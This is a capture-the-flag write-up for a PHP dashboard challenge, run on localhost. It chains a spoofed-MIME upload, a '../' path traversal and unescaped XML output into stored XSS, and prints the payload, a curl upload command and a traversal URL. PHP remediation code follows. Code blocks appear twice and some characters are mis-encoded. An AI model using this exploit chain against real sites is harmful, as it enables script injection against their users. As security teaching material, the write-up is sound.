October 9, 2026
Prismatic β Web Challange Write-up
Prismatic is a lightweight workspace dashboard featuring a profile-image synchronization interface and custom UI visual presets. Theβ¦

By Omar Ahmed Abdelslam
3 min read
Prismatic is a lightweight workspace dashboard featuring a profile-image synchronization interface and custom UI visual presets. The objective is to achieve arbitrary markup execution within the dashboard context by uploading a disguised payload.
The intended exploitation vector combines three distinct logic flaws:
- MIME-Type Trust: The profile-image sync endpoint relies on client-declared HTTP
Content-Typeheaders rather than inspecting underlying file magic bytes, appending a.jpgextension to all accepted uploads. - Unrestricted File Loading: The dashboard constructs filesystem paths directly from user-supplied preset query parameters, allowing relative path traversal (../) to target uploaded files outside the template directory.
- Unsanitized XML Output Context: The dashboard parses layout configurations using
simplexml_load_file()and renders extracted node values directly into the HTML response without contextual output encoding.
Local Environment Setup
To initialize the local challenge instance from the app_root directory:
Bash
php -S 127.0.0.1:8000php -S 127.0.0.1:8000Access the application interface at [http://127.0.0.1:8000](http://127.0.0.1:8000).
Key Application Components
settings.phpβ User profile upload interface.api/sync_profile.phpβ Profile image upload handler and cache generator.dashboard.phpβ Preset loader and dynamic banner rendering engine.public/cache/β Storage directory for cached profile assets.
Step-by-Step Walkthrough
Step 1: Payload Construction & Upload Bypass
The api/sync_profile.php handler checks incoming multipart requests against a MIME allowlist (image/jpeg). Because the server fails to validate the actual binary magic bytes of the file, we can transmit a valid XML structure while setting the request header to image/jpeg. The backend saves the raw XML payload to public/cache/ with a generated name ending in _cache.jpg.
Create a local payload named notice.jpg:
XML
<?xml version="1.0" encoding="UTF-8"?>
<prismatic version="2">
<panel_config>
<display_title><![CDATA[<script>alert('Prismatic')</script>]]></display_title>
</panel_config>
</prismatic><?xml version="1.0" encoding="UTF-8"?>
<prismatic version="2">
<panel_config>
<display_title><![CDATA[<script>alert('Prismatic')</script>]]></display_title>
</panel_config>
</prismatic>Upload the file via curl, explicitly specifying the image/jpeg MIME type:
Bash
curl -sS \
-F 'profile_image=@notice.jpg;type=image/jpeg' \
http://127.0.0.1:8000/api/sync_profile.phpcurl -sS \
-F 'profile_image=@notice.jpg;type=image/jpeg' \
http://127.0.0.1:8000/api/sync_profile.phpExpected Server Response:
JSON
{
"ok": true,
"ref": "0123456789abcdefab_cache.jpg",
"avatar": "/public/cache/0123456789abcdefab_cache.jpg",
"size": 176
}{
"ok": true,
"ref": "0123456789abcdefab_cache.jpg",
"avatar": "/public/cache/0123456789abcdefab_cache.jpg",
"size": 176
}Note: Retain the returned ref value for the traversal step.
Step 2: Path Traversal & XML Ingestion
dashboard.php loads visual presets via the preset GET parameter, appending the input to a base directory (themes/).
Because input validation is missing, directory traversal sequences (../) allow the application to walk out of themes/ and access the upload cache in public/cache/. PHP's simplexml_load_file() parses files based on XML structure rather than file extension, ignoring the .jpg suffix entirely.
Construct the target URL using the returned cache key:
Plaintext
http://127.0.0.1:8000/dashboard.php?preset=../public/cache/0123456789abcdefab_cache.jpghttp://127.0.0.1:8000/dashboard.php?preset=../public/cache/0123456789abcdefab_cache.jpgStep 3: DOM Context & Stored XSS Execution
When dashboard.php processes the file:
simplexml_load_file()parses the XML structure and extracts the text node withinpanel_config/display_title.- The
CDATAwrapper instructs the XML parser to treat the payload string as raw character data without stripping tags during XML parsing. - The dashboard reflects the extracted value directly into the HTML response stream without calling sanitization functions like
htmlspecialchars(). - The browser interprets the rendered response as HTML markup, executing the
<script>payload.
Because the payload persists in the cache directory and triggers whenever the corresponding layout path is loaded, this constitutes Stored Cross-Site Scripting (Stored XSS).
Root Cause Analysis
[ Client Request ] ββ(Spoofed MIME)ββ> [ Upload Handler ] ββ(Forced .jpg)ββ> [ Cache Storage ]
β
[ Traversal Query ] ββ(themes/../)ββ> [ XML Parser ] ββ(Unencoded Echo)ββ> [ Stored XSS ][ Client Request ] ββ(Spoofed MIME)ββ> [ Upload Handler ] ββ(Forced .jpg)ββ> [ Cache Storage ]
β
[ Traversal Query ] ββ(themes/../)ββ> [ XML Parser ] ββ(Unencoded Echo)ββ> [ Stored XSS ]- Unrestricted File Upload: Relying on client-supplied
Content-Typeheaders or file extension assignment does not constitute file content verification. - Path Traversal: Concatenating user input with base path strings allows navigation outside intended directories unless strict canonicalization or allowlisting is enforced.
- Context-Ignorant Output Handling: Passing raw strings extracted from structured parsers (XML, JSON, database) directly into HTML sinks creates injection vulnerabilities.
Defensive Remediation
1. Robust Server-Side File Validation
Verify uploaded file integrity using PHP's finfo module or native image re-encoding libraries (GD / Imagick):
PHP
// Inspect actual file magic bytes
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($_FILES['profile_image']['tmp_name']);
if ($mimeType !== 'image/jpeg') {
throw new Exception("Invalid file format detected.");
}// Inspect actual file magic bytes
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($_FILES['profile_image']['tmp_name']);
if ($mimeType !== 'image/jpeg') {
throw new Exception("Invalid file format detected.");
}2. Strict Path Canonicalization
Map requested presets against a strict allowlist or canonicalize paths using realpath():
PHP
$baseDir = realpath(__DIR__ . '/themes/');
$requestedPath = realpath($baseDir . '/' . $_GET['preset']);
if ($requestedPath === false || strpos($requestedPath, $baseDir) !== 0) {
die("Invalid preset selection.");
}$baseDir = realpath(__DIR__ . '/themes/');
$requestedPath = realpath($baseDir . '/' . $_GET['preset']);
if ($requestedPath === false || strpos($requestedPath, $baseDir) !== 0) {
die("Invalid preset selection.");
}3. Contextual Output Encoding
Encode all dynamic text values before rendering inside HTML contexts:
PHP
echo "<h1>" . htmlspecialchars($xmlTitle, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') . "</h1>";echo "<h1>" . htmlspecialchars($xmlTitle, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') . "</h1>";Summary
The Prismatic vulnerability chain demonstrates that file extensions do not dictate how backend parsers process data. Security boundaries must be enforced at every stage: validating raw uploaded bytes, restricting file access to designated directories, and escaping dynamic values at the output sink.
Omar A. Elsayed